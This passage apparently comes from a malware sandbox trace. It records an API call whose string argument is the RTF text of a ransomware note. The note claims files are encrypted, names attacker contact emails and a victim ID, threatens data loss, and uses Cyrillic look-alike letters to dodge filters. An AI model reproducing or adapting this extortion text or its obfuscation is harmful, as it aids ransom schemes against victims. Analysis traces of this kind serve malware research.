b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 